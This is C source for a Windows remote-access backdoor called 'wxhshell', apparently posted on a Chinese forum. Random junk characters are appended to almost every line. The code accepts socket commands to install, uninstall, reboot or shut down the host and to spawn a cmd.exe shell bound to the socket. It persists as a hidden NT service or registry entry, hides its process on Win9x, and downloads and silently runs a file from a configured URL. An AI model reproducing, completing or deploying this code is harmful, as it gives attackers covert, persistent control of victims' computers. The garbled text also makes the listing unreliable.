  } 0eaUorm)  
  else { 3\9][S-B  
j<|6s,&  
    switch(cmd[0]) { H.;yLL=  
  1#kawU6[]  
  // 帮助 jM[f[  
  case '?': { JbVi1?c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <e^6.!;W  
    break; ]LY^9eK)>{  
  } IM|Se4;x  
  // 安装 IM2/(N.%  
  case 'i': { BfEx'C  
    if(Install()) >T$7{ ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?d!}v  
    else \c'%4Ao  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r8H7TJI0   
    break; ,$SkaTBe  
    } 3Y=,r!F.h  
  // 卸载 jFS 'I*1+  
  case 'r': { 8:BQHYeJK  
    if(Uninstall()) :0|Hcg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E{?L= ^cU  
    else )SC`6(GW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y# .6d  
    break; la1D2 lM  
    } " -<}C%C  
  // 显示 wxhshell 所在路径 4E,hcu  
  case 'p': { CrT2#h 1#  
    char svExeFile[MAX_PATH]; qL u8!|QT  
    strcpy(svExeFile,"\n\r"); G<Th<JF)Q  
      strcat(svExeFile,ExeFile); '&1  
        send(wsh,svExeFile,strlen(svExeFile),0); 6Eij>{v  
    break; ,OFq'}q  
    } 20S9/9ll  
  // 重启 jw2_!D  
  case 'b': { |q9,,i}!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); | 3hT{  
    if(Boot(REBOOT)) DHSU?o#jY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (bM)Nd  
    else { k,yc>3P;U  
    closesocket(wsh); ~k"eE V p  
    ExitThread(0); R*zBnHAb!  
    } i,C0o   
    break; s,{RP0|  
    } -d\AiT  
  // 关机 [w+yQ7P  
  case 'd': { )UxQf37  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |SwZi'p  
    if(Boot(SHUTDOWN)) \pT^Zhp)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5&G Q=m  
    else {  3J'Bm"  
    closesocket(wsh); Po2_ 0uX  
    ExitThread(0); S&gKgQD"Q  
    } jb#1&L 14  
    break; 9y d-&yDG  
    } S&;T_^|  
  // 获取shell V NJDl  
  case 's': { FB?q/ _  
    CmdShell(wsh); Dohl,d  
    closesocket(wsh); /\oyPD`((  
    ExitThread(0); gdkLPZ<<  
    break; ~_/<PIm  
  } (mOqv9pn  
  // 退出 sM);gI14  
  case 'x': { kHz+ ZY<?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cP$wI;P  
    CloseIt(wsh); xIq"[?m  
    break; 6_ 33*/>=c  
    } hSLwiX~  
  // 离开 CrQA :_Z(7  
  case 'q': { @[[C s*-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "`8H:y  
    closesocket(wsh); 7><* 9iOW  
    WSACleanup(); d=.n|rS4 W  
    exit(1); *cI6 &;y  
    break; 3=G5(0  
        } !)l%EJngL  
  } nEa'e5 lg  
  } /o}0oo5B  
+Y>cBSO  
  // 提示信息 D KMbs   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r~Is,.zZ}  
} C7c|\T  
  } 1Q2k>q8  
2+r )VF:  
  return; X<@y*?D9D  
} $.x?in|_  
~[ ks|  
// shell模块句柄 04T*\G^:=  
int CmdShell(SOCKET sock) }GU6Q|s[u[  
{ h#6 jUQ  
STARTUPINFO si; "*H'bzK  
ZeroMemory(&si,sizeof(si)); A=YEY n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :b3l J-dB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l52n/w#qFB  
PROCESS_INFORMATION ProcessInfo; sLpCWIy  
char cmdline[]="cmd"; j8ohzX[Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LBiv]3  
  return 0; f4\p1MYQ  
} l2KxZteXY0  
j}x O34  
// 自身启动模式 b6E8ase:F  
int StartFromService(void) {0Ol/N;|D  
{ 5M.n'*   
typedef struct M0"g/W  
{ \"sSS.'  
  DWORD ExitStatus; w _6Y+  
  DWORD PebBaseAddress; 5fDtSsW  
  DWORD AffinityMask; eMP Q| W  
  DWORD BasePriority; 4`'BaUU(  
  ULONG UniqueProcessId; !kk %;XSZ  
  ULONG InheritedFromUniqueProcessId; NcY0pAR*  
}   PROCESS_BASIC_INFORMATION; BNKo6:wy  
AB|VO4-?  
PROCNTQSIP NtQueryInformationProcess; p/^\(/\])  
0tm "kzy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2KNKdV3NK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HBf8!\0|/  
]bU'G$Qm&s  
  HANDLE             hProcess; x) qHeS  
  PROCESS_BASIC_INFORMATION pbi; \5pAG mgD  
%dWFg<< |  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~9>[U%D  
  if(NULL == hInst ) return 0; ;g)Fhdy!  
=A&*SE o5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u B%^2{uU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c+K=pp@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uJ5%JB("E  
2BU)qv-  
  if (!NtQueryInformationProcess) return 0; Appz1q  
Dqcu$ V]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +AC-f2  
  if(!hProcess) return 0; 'jlXLb  
a>jI_)L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ch&]<#E>`  
XTXo xZ#w  
  CloseHandle(hProcess); 3ij I2Zy  
NCpn^m)Q}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bqwW9D(  
if(hProcess==NULL) return 0; Mh/>qyS *2  
"Ohpb!J9  
HMODULE hMod; x]01j4HJ  
char procName[255]; ~ z&A  
unsigned long cbNeeded; E#F9<=mA)  
H5MAN,`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 58ZiCvqv  
i}{Q\#=#  
  CloseHandle(hProcess); W[Ew6)1T  
AT'$VCYC(  
if(strstr(procName,"services")) return 1; // 以服务启动 +jZg%$Q!#  
N#!1@!2BN  
  return 0; // 注册表启动 7Mg7B  
} KGLhl;a  
GyM%vGl 3  
// 主模块 v.&*z48  
int StartWxhshell(LPSTR lpCmdLine) NHVx!Kc  
{ *RE-K36m|u  
  SOCKET wsl; |[7$) $  
BOOL val=TRUE; F?AfB[PM  
  int port=0; l7y`$8Co  
  struct sockaddr_in door; )0V]G{QN  
3S|;yOl#X  
  if(wscfg.ws_autoins) Install(); `Ta(P30  
 KGwL09)  
port=atoi(lpCmdLine); \ #c+vfq  
r!gCh`PiK  
if(port<=0) port=wscfg.ws_port; <>/MKMq!  
dC|#l?P  
  WSADATA data; #$rT 4N c;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $P9$ ,w4  
`V2j[Fz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6i=wAkn_J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pXEVI6 }  
  door.sin_family = AF_INET; ${,eQ\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wmCV%g\.d:  
  door.sin_port = htons(port); W$&Ets8zo  
/;m!>{({)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >w#3fTJ  
closesocket(wsl); .vF< 3p|  
return 1; ]=VI"v<X  
} >w;W& [  
[|O6n"'  
  if(listen(wsl,2) == INVALID_SOCKET) { {+mkXp])R  
closesocket(wsl); :=7;P)  
return 1; Ywq+l]5/p  
} BjJ gQ`X  
  Wxhshell(wsl); j?)`VLZ  
  WSACleanup(); 4J|t}  
KKJ[  
return 0; _ShJ3\,K  
/4BXF4ksi,  
} Z`KXXlJ^i  
'ZgW~G]S  
// 以NT服务方式启动 zszx@`/3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z"KuS  
{ [zd-=.:+M[  
DWORD   status = 0; hRcJ):Wyb  
  DWORD   specificError = 0xfffffff; Zpd>' ${4  
-T6%3>h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =qQQ^`^F'~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~m&oa@*=y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $466? oI  
  serviceStatus.dwWin32ExitCode     = 0; jM<Ihmh|  
  serviceStatus.dwServiceSpecificExitCode = 0; 3`q`W9  
  serviceStatus.dwCheckPoint       = 0; <xNM@!'\h  
  serviceStatus.dwWaitHint       = 0; 5-po>1g'  
z:7F5!Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DYl{{L8@  
  if (hServiceStatusHandle==0) return; m,q<R1  
x"T^>Q  
status = GetLastError(); E #]%e^  
  if (status!=NO_ERROR) _9 O'  
{ %/C[\w p81  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tr!X2#)A!  
    serviceStatus.dwCheckPoint       = 0; 4(ZV\}j1  
    serviceStatus.dwWaitHint       = 0; KrzM]x  
    serviceStatus.dwWin32ExitCode     = status; 8r,%!70  
    serviceStatus.dwServiceSpecificExitCode = specificError; ["/x~\c'N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U\6DEnII?!  
    return; [D\AVx&  
  } _s,svQ8#  
\OH:xW~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 31Du@h8YX  
  serviceStatus.dwCheckPoint       = 0; ajr8tp'  
  serviceStatus.dwWaitHint       = 0; I{bi3y0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Y p oJ!-  
} ~5529  
rP_)*)  
// 处理NT服务事件,比如:启动、停止 2G;d2LR:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |&Wo-;Ud  
{ ;hDr+&J|  
switch(fdwControl) HPB1d!^  
{ )YnN9"8  
case SERVICE_CONTROL_STOP: ?Fv(4g  
  serviceStatus.dwWin32ExitCode = 0; Lo4t:H&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h^,a 1'  
  serviceStatus.dwCheckPoint   = 0; 1jVcL)szU  
  serviceStatus.dwWaitHint     = 0; %9M49 s  
  { iDJ2dM}v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u> Hx#R<*%  
  } X=~QE}x  
  return; #n r1- sf|  
case SERVICE_CONTROL_PAUSE: M$9h)3(B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y0]O 6.{  
  break; sqRuqUj+  
case SERVICE_CONTROL_CONTINUE: G= e[TR)i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RPwSo.c4  
  break; Cv33?l-8%_  
case SERVICE_CONTROL_INTERROGATE: $_kU)<e3  
  break; 4+"SG@i`W  
}; $la,_Sr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y.J$f<[R  
} ~~mQ  
C? S%fF  
// 标准应用程序主函数 *1Q?~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gw:BKR'o  
{ u)-l+U.  
> { Q2S  
// 获取操作系统版本 Jjv&@a}  
OsIsNt=GetOsVer(); S0cO00_ob  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W#7c`nm  
 3@*8\  
  // 从命令行安装 mDUS9>  
  if(strpbrk(lpCmdLine,"iI")) Install(); A:(uK>5{Kk  
`'`XB0vb  
  // 下载执行文件 vr$ [  
if(wscfg.ws_downexe) { l]gf T&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sXA=KD8  
  WinExec(wscfg.ws_filenam,SW_HIDE); N{0 D<"  
} rcCM x"L=  
:M16ijkx  
if(!OsIsNt) { %BJ V$tO  
// 如果时win9x,隐藏进程并且设置为注册表启动 " PPwJ/L(  
HideProc(); 2cL<`  
StartWxhshell(lpCmdLine); \Uiw: ,  
} +FI]0r  
else :s\s3#?  
  if(StartFromService()) %"D-1&%zY  
  // 以服务方式启动 eo !{rs@f  
  StartServiceCtrlDispatcher(DispatchTable); umk[\}Ip+P  
else PYGHN T  
  // 普通方式启动 *P>F# ~X  
  StartWxhshell(lpCmdLine); ~7|z2L  
^<c?Ire  
return 0; K2JS2Y]  
}
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只看该作者 1 发表于: 2006-10-10
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